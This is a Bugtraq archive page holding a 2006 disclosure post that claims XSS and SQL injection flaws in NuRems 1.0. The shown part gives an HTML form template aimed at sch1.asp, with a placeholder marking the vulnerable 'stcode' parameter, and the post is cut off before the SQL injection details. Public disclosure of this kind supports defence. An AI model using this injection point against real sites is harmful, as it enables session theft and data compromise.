Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs
Name:
Email:
*Note: Email address will appear as "user domain ext" to prevent harvesting.
Subject:
Message:
 
NuRems 1.0 Remote XSS/SQL Injection Exploit Nov 11 2006 01:24PM
ajannhwt hotmail com
From:Filistin,Lubnan,IraQ,Turkey
NuRems 1.0 Remote XSS/SQL Injection Exploit

XSS:

<form name=RequestForm action="http://x/sch1.asp" method="POST">
<select name="stcode" size=10>
<option value="XSS HERE">Alabama
</select>
<td align=center>
<INPUT TYPE="submit" VALUE="Show cities...">
</form>

/XSS...

[ more ]  




 

Privacy Statement
Copyright 2009, SecurityFocus